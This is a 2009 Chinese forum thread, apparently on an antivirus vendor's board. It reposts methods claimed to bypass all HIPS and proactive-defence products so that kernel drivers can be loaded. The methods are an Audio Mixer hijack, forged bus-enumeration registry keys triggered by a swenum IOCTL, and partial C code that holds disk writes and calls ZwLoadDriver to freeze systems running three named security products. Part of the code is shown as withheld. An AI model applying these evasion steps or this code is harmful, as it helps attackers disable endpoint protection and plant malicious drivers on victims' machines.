Board logo

标题: 【Azy】过一切HIPS/主动防御AudioMixer劫持 BEIH/F:总线枚举接口劫持/伪造 锁死EQ [打印本页]

作者: 点饭的百度空间     时间: 2009-6-1 00:25    标题: 【Azy】过一切HIPS/主动防御AudioMixer劫持 BEIH/F:总线枚举接口劫持/伪造 锁死EQ

爆新技术 -- AM劫持
2009-05-30 01:15
通过本文所讲方法可实现穿越目前市场上已知的和未知的一切HIPS/主动防御
对于网吧的黑白名单防火墙还是不行,那个是终极变态了~~

killvxk
1.XX kmixer.sys
2.ren media文件夹
3.wait for unload,可以用NtQueryXXX来检查是否已经消失了
4.ren回去
5.调用一下media,用API可以实现
6.世界和谐
没过所有的墙,iopLoadDriver里有hook,某些恶劣的人会在DriverEntry里向后XX搜索那啥...

MJ0011
kmixer这个XX,我也很早就观察到了,大部分情况下,messagebox一下就能触发

Azy
如果用户在一段时间内无音频发声操作,那么确实直接叮一下就实现加载了,估计很多人也曾注意过这个现象
但如果用户有持续或间隙性的发声操作就不行了,那个ren操作才是这个问题的关键。

BEIH/F:总线枚举接口劫持/伪造
作者:Azy
日期:2009-5-31

    如果说Audio Mixer劫持(AMH)是一种较为被动的穿越,那么BEIH/F则是主动的攻击。通过BEIH/F可以穿越地上HIPS/主动防御产品加载驱动。
    该方法原理与amh是相同的,最后驱动的加载也是走ExpWorkerThread->PipDeviceActionWorker->IopLoadDriver这条路径,从而绕过了HIPS/主防产品的拦截。但触发攻击的方式完全不同。
    OS中存在一些音频驱动,它们的Start=3,并且Enum键下的值均为0。这些驱动是在系统需要的时候动态枚举并安装总线接口,然后加载相应的驱动文件。
    那么如何触发动态枚举安装接口并加载这些驱动呢?答案就是给swenum驱动发送一个特别的I/O Control Code来触发。在InputBuffer中填入欲加载驱动所在接口的GUID值,然后发I/O control Irp到swenum驱动,便可完成一次触发。内核在接到上述Irp后会扫描总线并动态进行接口安装,然后调用IoInvalidateDeviceRelations来触发最后的驱动安装。
    由于这一过程完全是人为可控,并且总线枚举的GUID信息全部存储在注册表中,因此我们可以事先篡改仿造HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\SW键及HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\DeviceClasses下面对应的GUID值及其它接口信息。这样一来,便可成功完成一次BEIH/F攻击。

100行代码锁死--EQ魔法盾/RealTime Defender/Malware Defender

无聊而又劳累的5天终于过去了,庆祝一下 :) 五天没摸键盘 :(

    下面这个代码只能锁死开启有EQ/RTD/MD保护的系统(未安装HIPS类系统当然正常),要锁其它的HIPS还要另外处理。

// By Azy

/已屏蔽/
handle = CreateFile("\\\\.\\C:", // drive to open
                       GENERIC_WRITE|GENERIC_READ,
                       FILE_SHARE_READ | FILE_SHARE_WRITE,
                       NULL,    // default security attributes
                       OPEN_EXISTING, // disposition
                       0,       // file attributes
                       NULL);   // don't copy any file's attributes
   
if(handle == INVALID_HANDLE_VALUE)
    {
       printf("handle invalid! %d\n", GetLastError());
        return - 1;         
    }

EnablePrivilege("SeLoadDriverPrivilege");
ZwLoadDriver = (PZWLOADDRIVER)GetProcAddress(hNtdll, "ZwLoadDriver");
RtlInitUnicodeString = (PRTLINITUNICODESTRING)GetProcAddress(hNtdll, "RtlInitUnicodeString");

RtlInitUnicodeString(&serviceNameUnicodeString, L"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\dmboot");

memset(&pp, 0, 0x18);
pp.HoldCounts = 1;
pp.FsTimerIntervalInSeconds = 0x8000;
pp.IrpsTimerIntervalInSenconds = 0x8000;
pp.a = i++;

result = DeviceIoControl(handle,
                                        IOCTL_FLUSH_AND_HOLD_WRITES,
                                        &pp,
                                        0x18,
                                        &pp,
                                        0x18,
                                        &i,
                                        NULL);

status = ZwLoadDriver(&serviceNameUnicodeString);

DeviceIoControl(handle,
                                        IOCTL_RELEASE_WRITES,
                                        NULL,
                                        0,
                                        NULL,
                                        0,
                                        &i,
                                        NULL);

        
    return 0;
}

[ Last edited by Legend on 2009-6-1 at 10:24 ]
作者: HomeSGerMine     时间: 2009-6-1 10:33
LZ这么晚了还没睡呢!  如果全过了那太牛了!
作者: BEEEE     时间: 2009-6-1 16:08
看不懂!!!!!!!
作者: mamsds     时间: 2009-6-1 17:39
貌似核心代码被屏蔽了............
作者: qq200878     时间: 2009-6-3 14:39
微点应该多利用这些资源




欢迎光临 微点交流论坛 (http://bbs.micropoint.com.cn/) bbs.micropoint.com.cn